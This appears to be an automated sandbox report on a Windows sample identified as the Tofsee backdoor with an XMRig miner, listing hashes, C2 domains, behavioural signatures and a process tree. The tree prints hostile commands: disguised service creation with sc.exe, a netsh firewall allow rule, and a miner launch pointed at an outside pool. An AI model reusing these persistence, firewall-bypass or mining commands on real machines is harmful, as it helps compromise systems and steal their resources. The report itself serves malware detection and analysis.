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Analysis

  • max time kernel
    146s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    11/10/2023, 18:59

General

  • Target

    file.exe

  • Size

    225KB

  • MD5

    6546844f130e761aeb34029466409553

  • SHA1

    0aeb09a39e97d2526fe8ff8467129c8b48506fef

  • SHA256

    8d5bd2b247ca7d188c082e08e7a90034110482919e7b737b838c6dade6b4d644

  • SHA512

    1223795b2ec6a6410f943a21d4f8c03dc31792f3ea19407ed2cdbefa24b5373a2f9dd5b4103c71c065b19d7243733fab1390f6972eb15e2a32f56a98146b546e

  • SSDEEP

    3072:3X5VL2484h6kCiEjjPv1S9Q7QikIPXV9tEnYufioL26FzYxL5yMzuTy:n/Nh67iEjjkQMWbufs0eUMyT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2580
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\iznifouf\
      2⤵
        PID:2624
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\htbyerxv.exe" C:\Windows\SysWOW64\iznifouf\
        2⤵
          PID:2788
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create iznifouf binPath= "C:\Windows\SysWOW64\iznifouf\htbyerxv.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2604
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description iznifouf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2284
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start iznifouf
          2⤵
          • Launches sc.exe
          PID:2784
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2900
      • C:\Windows\SysWOW64\iznifouf\htbyerxv.exe
        C:\Windows\SysWOW64\iznifouf\htbyerxv.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2572
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1116

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\htbyerxv.exe

        Filesize

        13.5MB

        MD5

        1dfcaa46906d6e4e1f941739cb73ab85

        SHA1

        c85540f3789ad9e524f8c0da94ef4c590bd18283

        SHA256

        a7d9b408db9ec8f47e0bae8f723bec410b782fd8b1eb64e7653d7f8665da4bdc

        SHA512

        297d1825914abf39a60a082459d81345ddec6d95fc1fd9543986df1dd7833358f553447121061051086efa310cf82c036e62f3a9de02b79a4a3fb4bb62ad9d29

      • C:\Windows\SysWOW64\iznifouf\htbyerxv.exe

        Filesize

        13.5MB

        MD5

        1dfcaa46906d6e4e1f941739cb73ab85

        SHA1

        c85540f3789ad9e524f8c0da94ef4c590bd18283

        SHA256

        a7d9b408db9ec8f47e0bae8f723bec410b782fd8b1eb64e7653d7f8665da4bdc

        SHA512

        297d1825914abf39a60a082459d81345ddec6d95fc1fd9543986df1dd7833358f553447121061051086efa310cf82c036e62f3a9de02b79a4a3fb4bb62ad9d29

      • memory/1116-63-0x00000000002B0000-0x00000000003A1000-memory.dmp

        Filesize

        964KB

      • memory/1116-73-0x00000000002B0000-0x00000000003A1000-memory.dmp

        Filesize

        964KB

      • memory/1116-74-0x00000000002B0000-0x00000000003A1000-memory.dmp

        Filesize

        964KB

      • memory/1116-77-0x00000000002B0000-0x00000000003A1000-memory.dmp

        Filesize

        964KB

      • memory/1116-78-0x00000000002B0000-0x00000000003A1000-memory.dmp

        Filesize

        964KB

      • memory/1116-76-0x00000000002B0000-0x00000000003A1000-memory.dmp

        Filesize

        964KB

      • memory/1116-75-0x00000000002B0000-0x00000000003A1000-memory.dmp

        Filesize

        964KB

      • memory/1116-72-0x00000000002B0000-0x00000000003A1000-memory.dmp

        Filesize

        964KB

      • memory/1116-64-0x00000000002B0000-0x00000000003A1000-memory.dmp

        Filesize

        964KB

      • memory/2572-38-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-43-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2572-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2572-23-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2572-24-0x00000000019B0000-0x0000000001BBF000-memory.dmp

        Filesize

        2.1MB

      • memory/2572-27-0x00000000019B0000-0x0000000001BBF000-memory.dmp

        Filesize

        2.1MB

      • memory/2572-28-0x00000000000C0000-0x00000000000C6000-memory.dmp

        Filesize

        24KB

      • memory/2572-31-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-34-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-35-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-37-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-36-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-11-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2572-39-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-40-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-41-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-42-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-44-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2572-46-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-45-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-47-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-48-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-50-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-49-0x00000000000D0000-0x00000000000E0000-memory.dmp

        Filesize

        64KB

      • memory/2572-51-0x0000000000190000-0x0000000000195000-memory.dmp

        Filesize

        20KB

      • memory/2572-54-0x0000000000190000-0x0000000000195000-memory.dmp

        Filesize

        20KB

      • memory/2572-55-0x0000000005990000-0x0000000005D9B000-memory.dmp

        Filesize

        4.0MB

      • memory/2572-58-0x0000000005990000-0x0000000005D9B000-memory.dmp

        Filesize

        4.0MB

      • memory/2572-59-0x00000000001A0000-0x00000000001A7000-memory.dmp

        Filesize

        28KB

      • memory/2572-15-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2580-1-0x00000000002D0000-0x00000000003D0000-memory.dmp

        Filesize

        1024KB

      • memory/2580-7-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/2580-6-0x0000000000400000-0x00000000005B0000-memory.dmp

        Filesize

        1.7MB

      • memory/2580-3-0x0000000000400000-0x00000000005B0000-memory.dmp

        Filesize

        1.7MB

      • memory/2580-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/2668-18-0x0000000000400000-0x00000000005B0000-memory.dmp

        Filesize

        1.7MB

      • memory/2668-12-0x0000000000400000-0x00000000005B0000-memory.dmp

        Filesize

        1.7MB

      • memory/2668-10-0x0000000000660000-0x0000000000760000-memory.dmp

        Filesize

        1024KB